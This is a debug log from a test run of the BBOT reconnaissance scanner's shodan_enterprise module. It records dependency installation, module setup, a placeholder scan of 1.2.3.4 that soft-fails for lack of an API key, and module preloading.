+2026-02-27 18:46:55,782 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:46:55,783 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:47:03,180 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:47:03,180 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:47:03,181 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:47:05,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:47:05,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:47:05,006 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:47:05,006 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:47:05,007 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:47:05,007 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:47:05,008 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:47:05,008 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:47:05,012 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/j7ey71e32z3akvkagpm6 +2026-02-27 18:47:05,793 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:47:05,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:47:05,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:47:05,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:47:05,796 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:47:05,926 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:47:05,927 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:47:05,927 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:47:05,928 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:47:05,929 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:47:05,929 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:47:05,929 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:47:05,931 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:47:05,931 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:47:05,932 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:47:05,932 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:47:05,935 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:47:05,935 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:47:05,935 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:47:05,936 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:47:05,936 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:47:05,937 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:47:05,938 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:47:05,938 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:47:05,940 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:47:05,941 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:47:05,942 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified +2026-02-27 18:47:05,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:47:05,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:47:05,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:47:05,943 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:47:05,944 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:47:05,944 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. +2026-02-27 18:47:05,944 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:47:05,945 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:47:06,183 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_joagcwptcn +2026-02-27 18:47:06,183 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:47:06,317 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started +2026-02-27 18:47:06,317 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:47:06,318 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:47:06,319 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 18:47:06,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:47:06,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:47:06,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:47:06,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-02-27 18:47:06,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 18:47:06,425 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:47:06,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:47:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 18:47:06,428 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:47:06,429 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:47:06,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 18:47:06,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 18:47:06,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 18:47:06,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:47:06,432 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 18:47:06,438 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 18:47:06,440 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 18:47:06,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 18:47:06,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 18:47:06,442 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 18:47:06,519 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 18:47:06,520 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:47:06,520 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 18:47:06,521 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 18:47:06,521 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 18:47:06,521 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 18:47:06,522 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 18:47:06,522 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 18:47:06,523 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 18:47:06,523 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 18:47:06,622 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 18:47:06,623 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 18:47:06,642 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 18:47:06,643 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 18:47:06,643 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks +2026-02-27 18:47:06,652 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks +2026-02-27 18:47:06,653 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 18:47:06,654 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 18:47:06,655 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 18:47:06,656 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 18:47:06,658 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 18:47:06,804 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_joagcwptcn completed in 0 seconds with status FINISHED +2026-02-27 18:47:06,805 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 18:47:06,807 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:47:06,809 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] +2026-02-27 18:47:06,809 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] +2026-02-27 18:47:06,810 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] +2026-02-27 18:47:06,810 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 18:47:06,810 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 18:49:26,216 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:49:26,229 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:49:26,230 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:49:26,231 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 18:49:26,232 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 18:49:26,233 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:49:26,234 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:49:26,234 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:49:26,236 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:49:26,237 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:49:26,238 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:49:26,239 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:49:26,240 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:49:26,241 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:49:26,241 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:49:26,242 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:49:26,244 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:49:26,244 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:49:26,245 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:49:26,246 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:49:26,247 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:49:26,248 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:49:26,249 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:49:26,250 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:49:26,251 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:49:26,252 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:49:26,253 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:49:26,253 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:49:26,254 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:49:26,255 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 18:49:26,256 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 18:49:26,257 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 18:49:26,257 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 18:49:26,258 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 18:49:26,259 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 18:49:26,261 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 18:49:26,262 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 18:49:26,265 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 18:49:26,266 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 18:49:26,267 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 18:49:26,268 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 18:49:26,269 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 18:49:26,270 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 18:49:26,271 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 18:49:26,272 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 18:49:26,273 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 18:49:26,273 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 18:49:26,274 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 18:49:26,274 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 18:49:26,275 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 18:49:26,276 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 18:49:26,277 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 18:49:26,278 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:49:26,278 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:49:26,279 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:49:26,280 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:49:26,280 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:49:26,281 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:49:26,282 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:49:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:49:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:49:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:49:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:49:26,285 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:49:26,285 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:49:26,286 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:49:26,290 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:49:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:49:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:49:26,292 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:49:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:49:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:49:26,294 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:49:26,295 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:49:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:49:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:49:26,297 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:49:26,298 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:49:26,299 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:49:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:49:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:49:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:49:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:49:26,302 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:49:26,302 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:49:26,303 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:49:26,304 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:49:26,304 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:49:26,305 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:49:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:49:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:49:26,307 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:49:26,312 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:49:26,313 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:49:26,314 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:49:26,315 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:49:26,316 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:49:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:49:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:49:26,318 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:49:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:49:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:49:26,320 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:49:26,321 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:49:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:49:26,323 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:49:26,323 [DEBUG] bbot.module_loader modules.py:152 